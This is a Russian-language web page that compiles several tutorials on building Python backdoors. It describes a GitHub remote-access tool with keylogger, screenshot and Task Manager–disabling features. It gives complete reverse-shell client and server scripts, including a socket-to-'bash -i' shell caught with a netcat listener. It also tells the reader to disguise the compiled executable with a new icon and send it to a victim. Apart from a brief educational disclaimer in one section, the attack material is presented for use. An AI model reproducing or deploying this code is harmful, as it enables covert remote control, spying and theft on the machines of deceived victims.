Перейти к содержимому

Как сделать бэкдор на python

  • автор:

Бэкдор на Python

Хай хацкеры, эта первая статья по годноте с GitHub’a. Сегодня рассмотрим интересный репозиторий под названием Python Backdoor . Этот репозиторий мне скинул подписчик, спасибо ему большое.

Изучаем!

Для начала качаем сам репозиторий:

Устанавливаем зависимости командой pip install -r requirements.txt

Теперь открываем файл setup.py :

Выбираем цифру 1, если использовать ваш ip (на скрине мой)

Цифру 2, если использовать другой ip адресс.

Цифру 3, если использовать DNS.

Я выберу цифру 2, т.к мы лиш изучаем данный бэкдор:

127.0.0.1 — локальный ip

Enter port number — указываете открытый порт, у меня он 5552.

Use UPX? y/n (y — да, n — нет) — использовать UPX сжатие?

Path for icon — Путь до иконки

Итак если всё пройдёт гладко появится примерно такая надпись:

18330 INFO: Building EXE from EXE-00.toc completed successfully.

В папке dist создался наш бэкдор.

Теперь открываем файл server.py :

Listening on port 5552

Открываем файл client.exe и в консоли появляется следующие:

Вводим команду —help

Чтобы узнать что к чему:

Перечислить все соединения Взаимодействие с соединением Открыть удаленный cmd с подключением Отправить команду каждому соединению Закрыть соединение выход и закрытие всех соединений

Посмотрим текущие соединения —l:

Подключаемся к ПК с ID 0.

Возможности при подключении(по порядку):

Отправить сообщение Открыть сайт Получить файл от пользователя Отправить файл пользователю Сделать скриншот Запустить автозагрузку Посмотреть файлы Узнать информацию о ПК Открыть CMD Отключить диспетчер задач Функции кейлоггера Заблокировать пользователя Перезапустить пользователя Выключить пользователя Переместить соединение в фоновый режим Закрыть соединение

Попробуем открыть сайт:

Создание бэкдора на Python

Основная цель бэкдора — отправлять и выполнять команды и получить удаленный доступ к файлам на целевой системе.

Устройство бэкдора Python

В информационной безопасности существует два основных типа полезной нагрузки:

  • Оболочка (Шелл)
  • Обратная оболочка (Реверс шелл)

Оболочки создают сервер непосредственно на целевой машине, к которому может подключиться хакер.

Обратные оболочки состоит из двух частей: клиента и сервера. Клиентский модуль запускаются на целевой машине и самостоятельно подключается к компьютеру хакера.

Статья написана в образовательных целях, для обучения этичных хакеров. При демонстрации работы были использованы личные устройства автора. Использование подобных инструментов без надлежащего письменного разрешения, является незаконным и будет расцениваться, как уголовное преступление. Ни редак­ция spy-soft.net, ни автор не несут ответс­твен­ность за ваши действия.

Поскольку направление исходного соединения было «обратным» (например, от жертвы к злоумышленнику), оболочка получила название обратной оболочки или бэкдор. Далее мы напишем бэкдор на Python. Для понимания, целевой компьютер будет называться жертвой, а машина хакера — атакующим.

Создание бэкдора на Python

Во-первых, мы должны создать сервер, на котором будем работать. Сервер будет состоять из четырех частей:

  1. Получение нашего локального IP и указанного порта.
  2. Привязка IP-адреса и порта для создания сокета.
  3. Запуск слушателя.
  4. Отправка и получение команд в бесконечном цикле.

Простой Backdoor на Python

Всем доброго времени суток! Сегодня я расскажу как написать простой backdoor на Python(3).

import socket import os def ExecuteCommand(command): output = os.popen(command).read() return output def main(): host = "127.0.0.1" # ip который будем использовать port = 6500 # порт while True: while True: try: s = socket.socket() # создаем сокет s.connect((host,port)) # подключаемся except: break while True: try: data = s.recv(1024).decode() # получаем команду output = ExecuteCommand(str(data)) if len(output) == 0: s.send(" ".encode()) # в случае, если рзультат # пустой, отправляем пробел else: s.send(output.encode()) # отправляем результат except: break s.close() if __name__ == '__main__': main()
import socket def main(): host = "127.0.0.1" # ip который будем прослушивать port = 6500 # порт s = socket.socket() # создаем сокет s.bind((host,port)) s.listen(1) print("Waiting for connection. ") connection, address = s.accept() # подключаемся print("Connection from " + str(address)) while True: try: toSend = input("-> ") connection.send(toSend.encode()) # отправляем команду data = connection.recv(1024).decode() # получаем результат print(data) # выводим на экран except: break print("Connection refused") # в случае, если соединение разорванно connection.close() if __name__ == '__main__': main()

Сдесь сам «вирус» является клиентом, а не сервером.

Теперь о том, как это все скомпилировать и использовать.

Требуется:
1. Python 3
2. Pyinstaller (его можно установить через pip командой «pip install pyinstaller»)

Меняем в обоих скриптах ip на свой, а порт на любой открытый (если он не используется другим приложением конечно).

Теперь компилируем Client.py.

Помещаем файлы в папке dist/Client в WinRAR SFX и указываем, что должен
запускаться Client.exe (я не стал использовать флажок -F для pyinstaller, так как на некоторых машинах файл может запускаться медленно).

Маскируем файл (меняем иконку и т.д.) и отправляем жертва.
Запускаем наш сервер и ждем, пока жертва откроет файл.

Вот и удаленный доступ.

Python для хакера. Часть 2. Backdoor

Всем привет, дорогие друзья! Наконец мы дожили до второй части. Заранее извиняюсь, если кого-то заставил ждать. Прошлая часть немного навела шороху, надеюсь и эта не отстанет.

[Введение]​

В этой части мы постараемся написать backdoor. В его написании, я не вижу ничего сложного, но перед тем как начать его создавать, давайте разберемся с «задней дверью» подробнее!

Backdoor(или же «запасной ход») — это программный код при помощи которого злоумышленник может получить доступ к системе(в частых случаях к shell’у).

Так почему же backdoor — черный ход? — спросите вы.

Потому, что его используют для повторного проникновения в уже взломанную систему! — отвечу вам, я)

Кстати, Shell — это консольная оболочка системы. К ней мы сегодня и постараемся получить доступ.

Существует 2 способа получения доступа к командной оболочке. Это reverse и bind.

Bind Shell — это, когда атакуемая машина играет роль сервера, а машина атакующего — клиент, и при воспроизведении подключения к атакуемой машине, она же дает нам доступ к shell’у.

Reverse Shell — это, когда атакующая машина играет роль сервера, а бэкдор находится на клиентской стороне и воспроизводит подключение к серверу(к вам) давая доступ к shell’у.

Reverse Shell, кстати, используется в том случае, если соединение блокируется фаерволом. Как раз таки его мы с вами и опишем.

[Приступаем к делу]​

Что же, сегодня нам понадобятся 3 следующие библиотеки:

С библиотекой socket, мы уже познакомились в прошлой части, а теперь немного про остальные 2-е.

Subprocess — запускает определенные(заданные вами) процессы.

OS — это модуль, который предназначен для работы с операционной системой.

И так, подключаем данные модули:

import subprocess import socket import os

Далее создаем сокет и осуществляем подключение:

host = "имя сервера" port = порт sock = socket.socket() sock.connect((host, port))

А теперь не мало важная часть. Это — потоки ввода данных. Наша задача, привязать потоки данных к нашей серверной части.

os.dup2(sock.fileno(),0) os.dup2(sock.fileno(),1) os.dup2(sock.fileno(),2)

И конечно же даем доступ к shell’у(командной оболочке):Код:

subprocess.call(["bash","-i"])

В итоге получаем backdoor, который получает доступ по принципу Reverse Shell

import subprocess import socket import os host = 192.168.1.X # server name port = 9191 #ясно дело порт ) sock = socket.socket() sock.connect((host, port)) os.dup2(sock.fileno(),0) os.dup2(sock.fileno(),1) os.dup2(sock.fileno(),2) subprocess.call(["bash", "-i"])

Далее, на атакующей машине остается только запустить сервер. Это делается просто — netcat.

Пропишем следующую команду:Код:

nc -nlvp

В итоге наблюдаем, что все сработало как нам надо)

А на этом все. Попробуйте написать свой сервер для атакующей машины.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *